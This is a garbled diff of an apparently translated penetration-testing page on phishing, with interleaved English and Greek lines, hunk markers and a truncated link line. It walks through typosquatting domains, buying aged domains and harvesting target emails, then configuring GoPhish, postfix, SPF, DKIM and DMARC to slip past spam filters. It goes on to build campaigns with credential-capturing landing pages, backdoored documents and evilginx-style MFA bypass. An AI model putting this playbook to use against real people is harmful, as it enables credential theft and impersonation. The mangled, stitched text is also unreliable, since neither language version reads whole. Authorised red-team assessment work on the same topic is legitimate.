* **Homoglyph**: Αντικαθιστά μια γράμματος στο όνομα του τομέα με γράμματα που μοιάζουν παρόμοια (π.χ., zelfser.com).
|
||||
* **Αντιστροφή**: Ανταλλάσσει δύο γράμματα μέσα στο όνομα του τομέα (π.χ., zelster.com).
|
||||
* **Ενικότητα/Πληθυντικότητα**: Προσθέτει ή αφαιρεί το "s" στο τέλος του ονόματος του τομέα (π.χ., zeltsers.com).
|
||||
* **Παράλειψη**: Αφαιρεί ένα από τα γράμματα από το όνομα του τομέα (π.χ., zelser.com).
|
||||
* **Επανάληψη**: Επαναλαμβάνει ένα από τα γράμματα στο όνομα του τομέα (π.χ., zeltsser.com).
|
||||
* **Αντικατάσταση**: Όπως το homoglyph αλλά λιγότερο αόρατο. Αντικαθιστά ένα από τα γράμματα στο όνομα του τομέα, ίσως με ένα γράμμα κοντά στο αρχικό γράμμα στο πληκτρολόγιο (π.χ., zektser.com).
|
||||
* **Υποτομέας**: Εισάγει μια **τελεία** μέσα στο όνομα του τομέα (π.χ., ze.lster.com).
|
||||
* **Εισαγωγή**: Εισάγει ένα γράμμα στο όνομα του τομέα (π.χ., zerltser.com).
|
||||
* **Λείπουσα τελεία**: Προσθέστε το TLD στο όνομα του τομέα. (π.χ., zelstercom.com)
|
||||
|
||||
**Automatic Tools**
|
||||
**Αυτόματα Εργαλεία**
|
||||
|
||||
* [**dnstwist**](https://github.com/elceef/dnstwist)
|
||||
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
||||
|
||||
**Websites**
|
||||
|
||||
* [https://dnstwist.it/](https://dnstwist.it)
|
||||
* [https://dnstwister.report/](https://dnstwister.report)
|
||||
* [https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/](https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/)
|
||||
|
||||
### Bitflipping
|
||||
|
||||
There is a **possibility that one of some bits stored or in communication might get automatically flipped** due to various factors like solar flares, cosmic rays, or hardware errors.
|
||||
|
||||
When this concept is **applied to DNS requests**, it is possible that the **domain received by the DNS server** is not the same as the domain initially requested.
|
||||
|
||||
For example, a single bit modification in the domain "windows.com" can change it to "windnws.com."
|
||||
|
||||
Attackers may **take advantage of this by registering multiple bit-flipping domains** that are similar to the victim's domain. Their intention is to redirect legitimate users to their own infrastructure.
|
||||
|
||||
For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
### Buy a trusted domain
|
||||
|
||||
You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\
|
||||
In order to make sure that the expired domain that you are going to buy **has already a good SEO** you could search how is it categorized in:
|
||||
|
||||
* [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
|
||||
* [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
|
||||
|
||||
## Discovering Emails
|
||||
|
||||
* [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
|
||||
* [https://phonebook.cz/](https://phonebook.cz) (100% free)
|
||||
* [https://maildb.io/](https://maildb.io)
|
||||
* [https://hunter.io/](https://hunter.io)
|
||||
* [https://anymailfinder.com/](https://anymailfinder.com)
|
||||
|
||||
In order to **discover more** valid email addresses or **verify the ones** you have already discovered you can check if you can brute-force them smtp servers of the victim. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
|
||||
Moreover, don't forget that if the users use **any web portal to access their mails**, you can check if it's vulnerable to **username brute force**, and exploit the vulnerability if possible.
|
||||
|
||||
## Configuring GoPhish
|
||||
|
||||
### Installation
|
||||
|
||||
You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
|
||||
|
||||
Download and decompress it inside `/opt/gophish` and execute `/opt/gophish/gophish`\
|
||||
You will be given a password for the admin user in port 3333 in the output. Therefore, access that port and use those credentials to change the admin password. You may need to tunnel that port to local:
|
||||
|
||||
* [**urlcrazy**](https://github.com/urbanad
|
||||
```bash
|
||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
```
|
||||
### Ρύθμιση
|
||||
|
||||
### Configuration
|
||||
|
||||
**TLS certificate configuration**
|
||||
|
||||
Before this step you should have **already bought the domain** you are going to use and it must be **pointing** to the **IP of the VPS** where you are configuring **gophish**.
|
||||
**Ρύθμιση πιστοποιητικού TLS**
|
||||
|
||||
Πριν από αυτό το βήμα, θα πρέπει να έχετε **ήδη αγοράσει τον τομέα** που πρόκειται να χρησιμοποιήσετε και πρέπει να **δείχνει** προς την **IP του VPS** όπου ρυθμίζετε το **gophish**.
|
||||
```bash
|
||||
DOMAIN="<domain>"
|
||||
wget https://dl.eff.org/certbot-auto
|
||||
|
@ -122,67 +73,61 @@ mkdir /opt/gophish/ssl_keys
|
|||
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
|
||||
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
|
||||
```
|
||||
**Ρύθμιση ηλεκτρονικού ταχυδρομείου**
|
||||
|
||||
**Mail configuration**
|
||||
Ξεκινήστε την εγκατάσταση: `apt-get install postfix`
|
||||
|
||||
Start installing: `apt-get install postfix`
|
||||
|
||||
Then add the domain to the following files:
|
||||
Στη συνέχεια, προσθέστε τον τομέα στα ακόλουθα αρχεία:
|
||||
|
||||
* **/etc/postfix/virtual\_domains**
|
||||
* **/etc/postfix/transport**
|
||||
* **/etc/postfix/virtual\_regexp**
|
||||
|
||||
**Change also the values of the following variables inside /etc/postfix/main.cf**
|
||||
**Αλλάξτε επίσης τις τιμές των παρακάτω μεταβλητών μέσα στο αρχείο /etc/postfix/main.cf**
|
||||
|
||||
`myhostname = <domain>`\
|
||||
`mydestination = $myhostname, <domain>, localhost.com, localhost`
|
||||
|
||||
Finally modify the files **`/etc/hostname`** and **`/etc/mailname`** to your domain name and **restart your VPS.**
|
||||
Τέλος, τροποποιήστε τα αρχεία **`/etc/hostname`** και **`/etc/mailname`** με το όνομα του τομέα σας και **επανεκκινήστε το VPS σας.**
|
||||
|
||||
Now, create a **DNS A record** of `mail.<domain>` pointing to the **ip address** of the VPS and a **DNS MX** record pointing to `mail.<domain>`
|
||||
|
||||
Now lets test to send an email:
|
||||
Τώρα, δημιουργήστε ένα **DNS A record** για το `mail.<domain>` που να δείχνει στη **διεύθυνση IP** του VPS και ένα **DNS MX** record που να δείχνει στο `mail.<domain>`
|
||||
|
||||
Ας δοκιμάσουμε τώρα να στείλουμε ένα ηλεκτρονικό μήνυμα:
|
||||
```bash
|
||||
apt install mailutils
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
|
||||
```
|
||||
**Ρύθμιση του Gophish**
|
||||
|
||||
**Gophish configuration**
|
||||
|
||||
Stop the execution of gophish and lets configure it.\
|
||||
Modify `/opt/gophish/config.json` to the following (note the use of https):
|
||||
|
||||
Σταματήστε την εκτέλεση του Gophish και ας το ρυθμίσουμε.\
|
||||
Τροποποιήστε το `/opt/gophish/config.json` ως εξής (σημειώστε τη χρήση του https):
|
||||
```bash
|
||||
{
|
||||
"admin_server": {
|
||||
"listen_url": "127.0.0.1:3333",
|
||||
"use_tls": true,
|
||||
"cert_path": "gophish_admin.crt",
|
||||
"key_path": "gophish_admin.key"
|
||||
},
|
||||
"phish_server": {
|
||||
"listen_url": "0.0.0.0:443",
|
||||
"use_tls": true,
|
||||
"cert_path": "/opt/gophish/ssl_keys/key.crt",
|
||||
"key_path": "/opt/gophish/ssl_keys/key.pem"
|
||||
},
|
||||
"db_name": "sqlite3",
|
||||
"db_path": "gophish.db",
|
||||
"migrations_prefix": "db/db_",
|
||||
"contact_address": "",
|
||||
"logging": {
|
||||
"filename": "",
|
||||
"level": ""
|
||||
}
|
||||
"admin_server": {
|
||||
"listen_url": "127.0.0.1:3333",
|
||||
"use_tls": true,
|
||||
"cert_path": "gophish_admin.crt",
|
||||
"key_path": "gophish_admin.key"
|
||||
},
|
||||
"phish_server": {
|
||||
"listen_url": "0.0.0.0:443",
|
||||
"use_tls": true,
|
||||
"cert_path": "/opt/gophish/ssl_keys/key.crt",
|
||||
"key_path": "/opt/gophish/ssl_keys/key.pem"
|
||||
},
|
||||
"db_name": "sqlite3",
|
||||
"db_path": "gophish.db",
|
||||
"migrations_prefix": "db/db_",
|
||||
"contact_address": "",
|
||||
"logging": {
|
||||
"filename": "",
|
||||
"level": ""
|
||||
}
|
||||
}
|
||||
```
|
||||
**Ρύθμιση της υπηρεσίας gophish**
|
||||
|
||||
**Configure gophish service**
|
||||
|
||||
In order to create the gophish service so it can be started automatically and managed a service you can create the file `/etc/init.d/gophish` with the following content:
|
||||
|
||||
Για να δημιουργήσετε την υπηρεσία gophish έτσι ώστε να μπορεί να ξεκινά αυτόματα και να διαχειρίζεται μια υπηρεσία, μπορείτε να δημιουργήσετε το αρχείο `/etc/init.d/gophish` με τον παρακάτω περιεχόμενο:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# /etc/init.d/gophish
|
||||
|
@ -203,35 +148,33 @@ logfile=/var/log/gophish/gophish.log
|
|||
errfile=/var/log/gophish/gophish.error
|
||||
|
||||
start() {
|
||||
echo 'Starting '${processName}'...'
|
||||
cd ${appDirectory}
|
||||
nohup ./$process >>$logfile 2>>$errfile &
|
||||
sleep 1
|
||||
echo 'Starting '${processName}'...'
|
||||
cd ${appDirectory}
|
||||
nohup ./$process >>$logfile 2>>$errfile &
|
||||
sleep 1
|
||||
}
|
||||
|
||||
stop() {
|
||||
echo 'Stopping '${processName}'...'
|
||||
pid=$(/bin/pidof ${process})
|
||||
kill ${pid}
|
||||
sleep 1
|
||||
echo 'Stopping '${processName}'...'
|
||||
pid=$(/bin/pidof ${process})
|
||||
kill ${pid}
|
||||
sleep 1
|
||||
}
|
||||
|
||||
status() {
|
||||
pid=$(/bin/pidof ${process})
|
||||
if [["$pid" != ""| "$pid" != "" ]]; then
|
||||
echo ${processName}' is running...'
|
||||
else
|
||||
echo ${processName}' is not running...'
|
||||
fi
|
||||
pid=$(/bin/pidof ${process})
|
||||
if [["$pid" != ""| "$pid" != "" ]]; then
|
||||
echo ${processName}' is running...'
|
||||
else
|
||||
echo ${processName}' is not running...'
|
||||
fi
|
||||
}
|
||||
|
||||
case $1 in
|
||||
start|stop|status) "$1" ;;
|
||||
start|stop|status) "$1" ;;
|
||||
esac
|
||||
```
|
||||
|
||||
Finish configuring the service and checking it doing:
|
||||
|
||||
Ολοκληρώστε τη διαμόρφωση της υπηρεσίας και ελέγξτε την εκτελώντας:
|
||||
```bash
|
||||
mkdir /var/log/gophish
|
||||
chmod +x /etc/init.d/gophish
|
||||
|
@ -242,69 +185,60 @@ service gophish status
|
|||
ss -l | grep "3333\|443"
|
||||
service gophish stop
|
||||
```
|
||||
## Ρύθμιση διακομιστή αλληλογραφίας και τομέα
|
||||
|
||||
## Configuring mail server and domain
|
||||
### Περιμένετε και είστε νόμιμοι
|
||||
|
||||
### Wait & be legit
|
||||
Όσο πιο παλιός είναι ένας τομέας, τόσο λιγότερο πιθανό είναι να πιαστεί ως ανεπιθύμητο μήνυμα. Συνεπώς, θα πρέπει να περιμένετε όσο το δυνατόν περισσότερο χρόνο (τουλάχιστον 1 εβδομάδα) πριν αξιολογήσετε το phishing. Επιπλέον, αν δημιουργήσετε μια σελίδα για έναν τομέα με καλή φήμη, η φήμη που θα αποκτηθεί θα είναι καλύτερη.
|
||||
|
||||
The older a domain is the less probable it's going to be caught as spam. Then you should wait as much time as possible (at least 1week) before the phishing assessment. moreover, if you put a page about a reputational sector the reputation obtained will be better.
|
||||
Σημειώστε ότι ακόμα κι αν πρέπει να περιμένετε μια εβδομάδα, μπορείτε να ολοκληρώσετε τη ρύθμιση όλων τώρα.
|
||||
|
||||
Note that even if you have to wait a week you can finish configuring everything now.
|
||||
### Ρύθμιση αντίστροφης επίλυσης (rDNS) εγγραφής
|
||||
|
||||
### Configure Reverse DNS (rDNS) record
|
||||
Ορίστε μια αντίστροφη επίλυση (PTR) εγγραφή που επιλύει τη διεύθυνση IP του VPS στο όνομα τομέα.
|
||||
|
||||
Set a rDNS (PTR) record that resolves the IP address of the VPS to the domain name.
|
||||
### Εγγραφή πλαισίου πολιτικής αποστολέα (SPF)
|
||||
|
||||
### Sender Policy Framework (SPF) Record
|
||||
Πρέπει **να ρυθμίσετε μια εγγραφή SPF για τον νέο τομέα**. Αν δεν γνωρίζετε τι είναι μια εγγραφή SPF [**διαβάστε αυτήν τη σελίδα**](../../network-services-pentesting/pentesting-smtp/#spf).
|
||||
|
||||
You must **configure a SPF record for the new domain**. If you don't know what is a SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/#spf).
|
||||
|
||||
You can use [https://www.spfwizard.net/](https://www.spfwizard.net) to generate your SPF policy (use the IP of the VPS machine)
|
||||
Μπορείτε να χρησιμοποιήσετε το [https://www.spfwizard.net/](https://www.spfwizard.net) για να δημιουργήσετε την πολιτική SPF σας (χρησιμοποιήστε τη διεύθυνση IP του VPS μηχανής)
|
||||
|
||||
![](<../../.gitbook/assets/image (388).png>)
|
||||
|
||||
This is the content that must be set inside a TXT record inside the domain:
|
||||
|
||||
Αυτό είναι το περιεχόμενο που πρέπει να οριστεί μέσα σε μια εγγραφή TXT εντός του τομέα:
|
||||
```bash
|
||||
v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||
```
|
||||
### Εγγραφή Domain-based Message Authentication, Reporting & Conformance (DMARC)
|
||||
|
||||
### Domain-based Message Authentication, Reporting & Conformance (DMARC) Record
|
||||
|
||||
You must **configure a DMARC record for the new domain**. If you don't know what is a DMARC record [**read this page**](../../network-services-pentesting/pentesting-smtp/#dmarc).
|
||||
|
||||
You have to create a new DNS TXT record pointing the hostname `_dmarc.<domain>` with the following content:
|
||||
Πρέπει να **διαμορφώσετε μια εγγραφή DMARC για το νέο domain**. Αν δεν ξέρετε τι είναι μια εγγραφή DMARC [**διαβάστε αυτήν τη σελίδα**](../../network-services-pentesting/pentesting-smtp/#dmarc).
|
||||
|
||||
Πρέπει να δημιουργήσετε μια νέα εγγραφή DNS TXT που να δείχνει στο hostname `_dmarc.<domain>` με τον παρακάτω περιεχόμενο:
|
||||
```bash
|
||||
v=DMARC1; p=none
|
||||
```
|
||||
|
||||
### DomainKeys Identified Mail (DKIM)
|
||||
|
||||
You must **configure a DKIM for the new domain**. If you don't know what is a DMARC record [**read this page**](../../network-services-pentesting/pentesting-smtp/#dkim).
|
||||
Πρέπει να **διαμορφώσετε ένα DKIM για το νέο domain**. Αν δεν ξέρετε τι είναι ένα DMARC record [**διαβάστε αυτήν τη σελίδα**](../../network-services-pentesting/pentesting-smtp/#dkim).
|
||||
|
||||
This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
Αυτός ο οδηγός βασίζεται στο: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
|
||||
{% hint style="info" %}
|
||||
You need to concatenate both B64 values that the DKIM key generates:
|
||||
|
||||
Πρέπει να συνενώσετε και τις δύο τιμές B64 που δημιουργεί το DKIM key:
|
||||
```
|
||||
v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
### Test your email configuration score
|
||||
|
||||
You can do that using [https://www.mail-tester.com/](https://www.mail-tester.com)\
|
||||
Just access the page and send an email to the address they give you:
|
||||
### Δοκιμάστε το σκορ ρύθμισης του email σας
|
||||
|
||||
Μπορείτε να το κάνετε αυτό χρησιμοποιώντας το [https://www.mail-tester.com/](https://www.mail-tester.com)\
|
||||
Απλά επισκεφθείτε τη σελίδα και στείλτε ένα email στη διεύθυνση που σας δίνουν:
|
||||
```bash
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
||||
```
|
||||
|
||||
You can also **check your email configuration** sending an email to `check-auth@verifier.port25.com` and **reading the response** (for this you will need to **open** port **25** and see the response in the file _/var/mail/root_ if you send the email a as root).\
|
||||
Check that you pass all the tests:
|
||||
|
||||
Μπορείτε επίσης να **ελέγξετε τη διαμόρφωση του ηλεκτρονικού σας ταχυδρομείου** αποστέλλοντας ένα email στο `check-auth@verifier.port25.com` και **διαβάζοντας την απόκριση** (για αυτό θα πρέπει να **ανοίξετε** τη θύρα **25** και να δείτε την απόκριση στο αρχείο _/var/mail/root_ αν στείλετε το email ως root).\
|
||||
Βεβαιωθείτε ότι περνάτε όλα τα τεστ:
|
||||
```bash
|
||||
==========================================================
|
||||
Summary of Results
|
||||
|
@ -315,49 +249,45 @@ DKIM check: pass
|
|||
Sender-ID check: pass
|
||||
SpamAssassin check: ham
|
||||
```
|
||||
|
||||
You could also send **message to a Gmail under your control**, and check the **email’s headers** in your Gmail inbox, `dkim=pass` should be present in the `Authentication-Results` header field.
|
||||
|
||||
Μπορείτε επίσης να στείλετε ένα **μήνυμα σε ένα Gmail υπό τον έλεγχό σας**, και να ελέγξετε τους **κεφαλίδες του email** στο εισερχόμενο του Gmail, το `dkim=pass` θα πρέπει να είναι παρόν στο πεδίο κεφαλίδας `Authentication-Results`.
|
||||
```
|
||||
Authentication-Results: mx.google.com;
|
||||
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
|
||||
dkim=pass header.i=@example.com;
|
||||
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
|
||||
dkim=pass header.i=@example.com;
|
||||
```
|
||||
### Αφαίρεση από τη Μαύρη Λίστα του Spamhouse
|
||||
|
||||
### Removing from Spamhouse Blacklist
|
||||
Η σελίδα [www.mail-tester.com](www.mail-tester.com) μπορεί να σας ενημερώσει αν το domain σας έχει μπλοκαριστεί από το spamhouse. Μπορείτε να ζητήσετε το domain/IP σας να αφαιρεθεί από εκεί: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
|
||||
The page [www.mail-tester.com](www.mail-tester.com) can indicate you if you your domain is being blocked by spamhouse. You can request your domain/IP to be removed at: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
### Αφαίρεση από τη Μαύρη Λίστα της Microsoft
|
||||
|
||||
### Removing from Microsoft Blacklist
|
||||
Μπορείτε να ζητήσετε το domain/IP σας να αφαιρεθεί από εκεί: [https://sender.office.com/](https://sender.office.com).
|
||||
|
||||
You can request your domain/IP to be removed at [https://sender.office.com/](https://sender.office.com).
|
||||
## Δημιουργία και Εκτέλεση Επίθεσης GoPhish
|
||||
|
||||
## Create & Launch GoPhish Campaign
|
||||
### Προφίλ Αποστολέα
|
||||
|
||||
### Sending Profile
|
||||
* Ορίστε ένα **όνομα για αναγνώριση** του προφίλ αποστολέα
|
||||
* Αποφασίστε από ποιο λογαριασμό θα στείλετε τα ψεύτικα email. Προτάσεις: _noreply, support, servicedesk, salesforce..._
|
||||
* Μπορείτε να αφήσετε κενά το όνομα χρήστη και ο κωδικός πρόσβασης, αλλά βεβαιωθείτε ότι έχετε επιλέξει την επιλογή Αγνόηση Σφαλμάτων Πιστοποιητικού
|
||||
|
||||
* Set some **name to identify** the sender profile
|
||||
* Decide from which account are you going to send the phishing emails. Suggestions: _noreply, support, servicedesk, salesforce..._
|
||||
* You can leave blank the username and password, but make sure to check the Ignore Certificate Errors
|
||||
|
||||
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (17).png>)
|
||||
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (17).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
It's recommended to use the "**Send Test Email**" functionality to test that everything is working.\
|
||||
I would recommend to **send the test emails to 10min mails addresses** in order to avoid getting blacklisted making tests.
|
||||
Συνιστάται να χρησιμοποιήσετε τη λειτουργία "**Αποστολή Δοκιμαστικού Email**" για να ελέγξετε ότι όλα λειτουργούν σωστά.\
|
||||
Θα συνιστούσα να **στείλετε τα δοκιμαστικά email σε διευθύνσεις 10min mail** για να αποφύγετε να μπείτε στη μαύρη λίστα κατά τη διάρκεια των δοκιμών.
|
||||
{% endhint %}
|
||||
|
||||
### Email Template
|
||||
|
||||
* Set some **name to identify** the template
|
||||
* Then write a **subject** (nothing estrange, just something you could expect to read in a regular email)
|
||||
* Make sure you have checked "**Add Tracking Image**"
|
||||
* Write the **email template** (you can use variables like in the following example):
|
||||
### Πρότυπο Email
|
||||
|
||||
* Ορίστε ένα **όνομα για αναγνώριση** του προτύπου
|
||||
* Στη συνέχεια, γράψτε ένα **θέμα** (κάτι κανονικό που θα περιμένατε να διαβάσετε σε ένα κανονικό email)
|
||||
* Βεβαιωθείτε ότι έχετε επιλέξει την επιλογή "**Προσθήκη Εικόνας Παρακολούθησης**"
|
||||
* Γράψτε το **πρότυπο email** (μπορείτε να χρησιμοποιήσετε μεταβλητές όπως στο παρακάτω παράδειγμα):
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
<title></title>
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
<p class="MsoNormal"><span style="font-size:10.0pt;font-family:"Verdana",sans-serif;color:black">Dear {{.FirstName}} {{.LastName}},</span></p>
|
||||
|
@ -372,127 +302,45 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
Σημείωση ότι **για να αυξήσετε την αξιοπιστία του email**, συνιστάται να χρησιμοποιήσετε μια υπογραφή από ένα email του πελάτη. Προτάσεις:
|
||||
|
||||
Note that **in order to increase the credibility of the email**, it's recommended to use some signature from an email from the client. Suggestions:
|
||||
|
||||
* Send an email to a **non existent address** and check if the response has any signature.
|
||||
* Search for **public emails** like info@ex.com or press@ex.com or public@ex.com and send them an email and wait for the response.
|
||||
* Try to contact **some valid discovered** email and wait for the response
|
||||
* Στείλτε ένα email σε μια **μη υπάρχουσα διεύθυνση** και ελέγξτε αν η απάντηση έχει κάποια υπογραφή.
|
||||
* Αναζητήστε **δημόσια emails** όπως info@ex.com ή press@ex.com ή public@ex.com και στείλτε τους ένα email και περιμένετε για την απάντηση.
|
||||
* Προσπαθήστε να επικοινωνήσετε με **κάποιο έγκυρο ανακαλυφθέν** email και περιμένετε για την απάντηση.
|
||||
|
||||
![](<../../.gitbook/assets/image (393).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
Το Πρότυπο Email επίσης επιτρέπει να **συνημμένα αρχεία για αποστολή**. Αν θέλετε επίσης να κλέψετε προκλήσεις NTLM χρησιμοποιώντας κάποια ειδικά δημιουργημένα αρχεία/έγγραφα [διαβάστε αυτήν τη σελίδα](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
{% endhint %}
|
||||
|
||||
### Landing Page
|
||||
### Σελίδα Προσγείωσης
|
||||
|
||||
* Write a **name**
|
||||
* **Write the HTML code** of the web page. Note that you can **import** web pages.
|
||||
* Mark **Capture Submitted Data** and **Capture Passwords**
|
||||
* Set a **redirection**
|
||||
* Γράψτε ένα **όνομα**
|
||||
* **Γράψτε τον κώδικα HTML** της ιστοσελίδας. Σημειώστε ότι μπορείτε να **εισάγετε** ιστοσελίδες.
|
||||
* Σημειώστε **Καταγραφή Υποβληθέντων Δεδομένων** και **Καταγραφή Κωδικών Πρόσβασης**
|
||||
* Ορίστε μια **ανακατεύθυνση**
|
||||
|
||||
![](<../../.gitbook/assets/image (394).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Usually you will need to modify the HTML code of the page and make some tests in local (maybe using some Apache server) **until you like the results.** Then, write that HTML code in the box.\
|
||||
Note that if you need to **use some static resources** for the HTML (maybe some CSS and JS pages) you can save them in _**/opt/gophish/static/endpoint**_ and then access them from _**/static/\<filename>**_
|
||||
Συνήθως θα χρειαστεί να τροποποιήσετε τον κώδικα HTML της σελίδας και να κάνετε μερικές δοκιμές τοπικά (ίσως χρησιμοποιώντας κάποιον διακομιστή Apache) **μέχρι να σας αρέσουν τα αποτελέσματα**. Στη συνέχεια, γράψτε αυτόν τον κώδικα HTML στο πλαίσιο.\
|
||||
Σημειώστε ότι αν χρειάζεστε να **χρησιμοποιήσετε κάποιους στατικούς πόρους** για το HTML (ίσως κάποιες σελίδες CSS και JS) μπορείτε να τις αποθηκεύσετε στο _**/opt/gophish/static/endpoint**_ και στη συνέχεια να τις προσπελάσετε από _**/static/\<όνομα αρχείου>**_
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
For the redirection you could **redirect the users to the legit main web page** of the victim, or redirect them to _/static/migration.html_ for example, put some **spinning wheel (**[**https://loading.io/**](https://loading.io)**) for 5 seconds and then indicate that the process was successful**.
|
||||
Για την ανακατεύθυνση μπορείτε να **ανακατευθύνετε τους χρήστες στην πραγματική κύρια ιστοσελίδα** του θύματος, ή να τους ανακατευθύνετε σε _/static/migration.html_ για παράδειγμα, να βάλετε κάποιο **περιστρεφόμενο τροχό** ([**https://loading.io/**](https://loading.io)) για 5 δευτερόλεπτα και στη συνέχεια να υποδείξετε ότι η διαδικασία ήταν επιτυχής.
|
||||
{% endhint %}
|
||||
|
||||
### Users & Groups
|
||||
### Χρήστες & Ομάδες
|
||||
|
||||
* Set a name
|
||||
* **Import the data** (note that in order to use the template for the example you need the firstname, last name and email address of each user)
|
||||
* Ορίστε ένα όνομα
|
||||
* **Εισαγάγετε τα δεδομένα** (σημειώστε ότι για να χρησιμοποιήσετε το πρότυπο για το παράδειγμα χρειάζεστε το όνομα, το επώνυμο και τη διεύθυνση email κάθε χρήστη)
|
||||
|
||||
![](<../../.gitbook/assets/image (395).png>)
|
||||
|
||||
### Campaign
|
||||
### Εκστρατεία
|
||||
|
||||
Finally, create a campaign selecting a name, the email template, the landing page, the URL, the sending profile and the group. Note that the URL will be the link sent to the victims
|
||||
Τέλος, δημιουργήστε μια εκστρατεία επιλέγοντας ένα όνομα, το πρότυπο email, τη σελίδα προσγείωσης, το URL, το προφίλ αποστολής και την ομάδα. Σημειώστε ότι το URL θα είναι ο σύνδεσμος που θα σταλεί στα θύματα
|
||||
|
||||
Note that the **Sending Profile allow to send a test email to see how will the final phishing email looks like**:
|
||||
|
||||
![](<../../.gitbook/assets/image (396).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
I would recommend to **send the test emails to 10min mails addresses** in order to avoid getting blacklisted making tests.
|
||||
{% endhint %}
|
||||
|
||||
Once everything is ready, just launch the campaign!
|
||||
|
||||
## Website Cloning
|
||||
|
||||
If for any reason you want to clone the website check the following page:
|
||||
|
||||
{% content-ref url="clone-a-website.md" %}
|
||||
[clone-a-website.md](clone-a-website.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Backdoored Documents & Files
|
||||
|
||||
In some phishing assessments (mainly for Red Teams) you will want to also **send files containing some kind of backdoor** (maybe a C2 or maybe just something that will trigger an authentication).\
|
||||
Check out the following page for some examples:
|
||||
|
||||
{% content-ref url="phishing-documents.md" %}
|
||||
[phishing-documents.md](phishing-documents.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Phishing MFA
|
||||
|
||||
### Via Proxy MitM
|
||||
|
||||
The previous attack is pretty clever as you are faking a real website and gathering the information set by the user. Unfortunately, if the user didn't put the correct password or if the application you faked is configured with 2FA, **this information won't allow you to impersonate the tricked user**.
|
||||
|
||||
This is where tools like [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) and [**muraena**](https://github.com/muraenateam/muraena) are useful. This tool will allow you to generate a MitM like attack. Basically, the attacks works in the following way:
|
||||
|
||||
1. You **impersonate the login** form of the real webpage.
|
||||
2. The user **send** his **credentials** to your fake page and the tool send those to the real webpage, **checking if the credentials work**.
|
||||
3. If the account is configured with **2FA**, the MitM page will ask for it and once the **user introduces** it the tool will send it to the real web page.
